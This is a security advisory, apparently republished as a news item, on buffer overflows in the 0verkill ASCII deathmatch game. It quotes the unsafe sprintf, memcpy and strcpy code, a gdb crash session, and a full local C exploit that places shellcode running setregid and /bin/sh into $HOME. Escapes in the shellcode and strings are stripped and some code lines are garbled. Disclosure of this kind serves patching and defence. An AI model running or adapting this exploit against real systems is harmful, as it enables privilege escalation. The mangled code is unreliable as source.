‘0verkill Buffer Overflow Vulnerabilities’

Summary

0verkill is ‘a bloody 2D action deathmatch-like game in ASCII-ART running under Linux, OS/2 and Windows.’

Several buffer overflow conditions exist both in the 0verkill server and client, which would allow execution of arbitrary code.’

Credit:

‘The information has been provided by Adam Zabrocki


Details

Vulnerable Systems:
 * 0verkill version 0.15pre3 and prior

Immune Systems:
 * 0verkill version 0.16

Client Vulnerabilities
Buffer overflows exist in two functions in the client code, possibly three. In the load_cfg() and save_cfg() functions:

void load_cfg(char *host,char *name,int *color)
{


    unsigned char txt[256];

#ifndef WIN32
    sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE);  // 
first overflow
#else
    sprintf(txt,"./%s",CFG_FILE);
#endif


    a=strlen(txt);


    memcpy(host,txt,strlen(txt)+1);         // 
second overflow


    a=strlen(txt);


    memcpy(name,txt,strlen(txt)+1);         // 
third overflow


}

Compiling 0verkill on a platform other than Windows and setting a long $HOME environment variable demonstrates the buffer overflow, like so:

$ export HOME=`perl – e ‘print "A"x300’`
$ gdb ./0verkill
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, 
and you are
welcome to change it and/or distribute copies of it under 
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" 
for details.
This GDB was configured as "i386-slackware-linux"…
(gdb) r
Starting program: /root/root/all/gry/0verkill/./0verkill

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in  ()
(gdb) i r eip
eip      0x41414141    0x41414141
(gdb)

void save_cfg(char *host,char *name,int color)
{


    unsigned char txt[256];

#ifndef WIN32
    sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE);  // 
overflow
#else
    sprintf(txt,"./%s",CFG_FILE);
#endif


}

Technically the same type of bug is present in both functions. Improper bounds checking when reading the $HOME environment variable. The third possible vulnerability is in the send_message() function which is called from play():

void play(void)
{


    char string[80];


        if (chat)
{
        …
        …
                case 1:
        char 0;
                send_message(string);


}


}

While MAX_MESSAGE_LENGTH is defined in the cfg.h file to be:
#define MAX_MESSAGE_LENGTH 70 /* maximal length of chat message

Since a string passed to the send_message() function could be larger than the maximum message size there might be a way to exploit this vulnerability or to otherwise crash the program.

Server Vulnerabilities
A server, when compiled under Windows, contains a vulnerability when copying the username into a buffer, presented in the following code from the parse_command_line() function:

void parse_command_line(int argc,char **argv)
{
    int a;

#ifdef WIN32
        a=getopt(argc,argv,"hl:np:ri:Ic");


#endif
        switch(a)
{


#ifdef WIN32


            case ‘i’: {   /* install service */
                char  username[80],
                    *pass=NULL;


                    if ( (pass=strchr
(optarg, ‘/’))==NULL ) {
                        strcpy(username, 
optarg);
                        memcpy(username, 
optarg, sizeof(username)-1);


}

By using the strcpy() function in such an unsafe manner it is possible to create a buffer overflow condition. With GetLastErrorText() it might be possible to create a buffer overflow condition but the author was unable to exploit it.

LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) {

    LPTSTR lpszTemp=NULL;


    dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | 
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL,
        globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0, 
NULL);


        sprintf(lpszBuf, ": %u: %s", globErr, 
lpszTemp); // there ðŸ˜›


}

A simple exploit code is presented below:

/*
* Simple local exploit for 0verkill by pi3 (pi3ki31ny)
* Greetz: [greetz on my web] && other my friends (you know who 
you are)
*
*     …::: -=[ www.pi3.int.pl ]=- :::…
*/

#include < stdio.h>
#include < stdlib.h>
#include < string.h>
#include < unistd.h>
#include < getopt.h>

#define PATH "./0verkill"
#define BUFS 300

/*  …::: -=[ www.pi3.int.pl ]=- :::…  */

char shellcode[] = "x31xdbx31xc0x31xd2xb2x2dx6ax0ax68
x3a"
         "x2ex2ex2ex68x2dx20x3ax3ax68x6cx20
x5d"
         "x3dx68x6ex74x2ex70x68x69x33x2ex69
x68"
         "x77x77x2ex70x68x3dx5bx20x77x68
x3ax3a"
         "x20x2dx68x2ex2ex2ex3ax89xe1xb0x04
xcd"
         "x80"

/*  setregid (20,20)  */

         "x31xc0x31xdbx31xc9xb3x14xb1x14xb0
x47"
  "xcdx80"

/*  exec /bin/sh  */

         "x31xc0x50x68x2fx2fx73x68x68x2fx62
x69"
         "x6ex89xe3x50x53x89xe1x31xd2xb0
x0bxcd"
         "x80"

/*  exit(0)  */

         "x31xdbx89xd8xb0x01xcdx80";

long ret_ad(char *a1, char *a2) {
 
 return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {
 
 printf("nt…::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::…n");
 printf("ntUssage:nt[+] %s [options]n
  – < this help screen>
  -o < offset>
  -p PATHnn",arg);
 exit(-1);
}

int main(int argc, char *argv[]) {
 
 long ret,*buf_addr;
 char *buf,*path=PATH;
 int i,opt,offset=0;
 FILE *fp;
 
 while((opt = getopt(argc,argv,"p:o:")) != -1) {
 switch(opt) {
   
 case ‘o’:

  offset=atoi(optarg);
  break;
  
 case ‘p’:
  
  path=optarg;
  break;
  
 case ”:
 default:
  
  ussage(argv[0]);
  break;
 }
 }
 
 if ( (fp=fopen(path,"r"))==NULL) {
   printf("n*tI can\’t open path to victim! – %
st*nn",path);
   ussage(argv[0]);
 } fclose(fp);
 
 if (!(buf=(char*)malloc(BUFS))) {
   printf("nI can\’t locate memory! – bufn");
   exit(-1);
 }
 
 printf("nt…::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::…n");
 printf("nt[+] Bulding buffors!n");

 ret=ret_ad(shellcode,path);
 ret+=offset;
 
 printf("t[+] Using adres 0x%xn",ret);
 
 buf_addr=(long*)buf;
 
 for(i=0;i< BUFS;i+=4) {
  *(buf_addr) = ret; buf_addr++;
 }
 memcpy(buf, shellcode, strlen(shellcode));
  
 printf("nExecuting the vuln program – %snn",path);

 setenv("HOME", buf, 1);
 execl(path,path, 0);
 return 0;
}’

Categories: News